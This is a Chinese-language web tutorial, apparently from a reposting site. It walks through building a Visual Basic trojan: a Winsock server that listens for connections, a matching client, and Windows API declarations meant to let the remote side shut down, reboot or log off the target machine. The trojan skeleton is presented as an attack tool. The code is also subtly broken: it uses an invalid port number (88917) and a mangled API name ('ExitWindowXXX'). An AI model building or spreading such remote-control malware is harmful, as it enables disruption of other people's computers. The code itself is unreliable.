利用Visual Basic来实现木马攻击

首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。

   接下来我们回来Server窗体模块中,添加如下代码:

Private Sub form_Load()
  With Me
   .sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!)
   .sckServer.Listen '开始监听
  End With
End Sub

'接受客户端的连接请求。

Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
  With Me
   If .sckServer.State <>sckClosed Then .sckServer.Close
   .sckServer.Accept (requestID)
  End With
End Sub
   下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:

Private Sub form_Load()
  With Me
   .sckClient.RemoteHost = "127.0.0.1"'设置远程IP,本例设为本机。
   .sckClient.RemotePort = 88917 '远程端口,就为server中的设置一样.
  End With
End Sub

Private sub cmdConnect_Click()
  SckClient.Connect
End sub
   至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。

   这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现一点小小的功能―――关机,重启,注销。好,开始吧!

   在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:

Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long

Public Type RECT
  Left As Long
  Top As Long
  Right As Long
  Bottom As Long
End Type
   注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wzgggs.html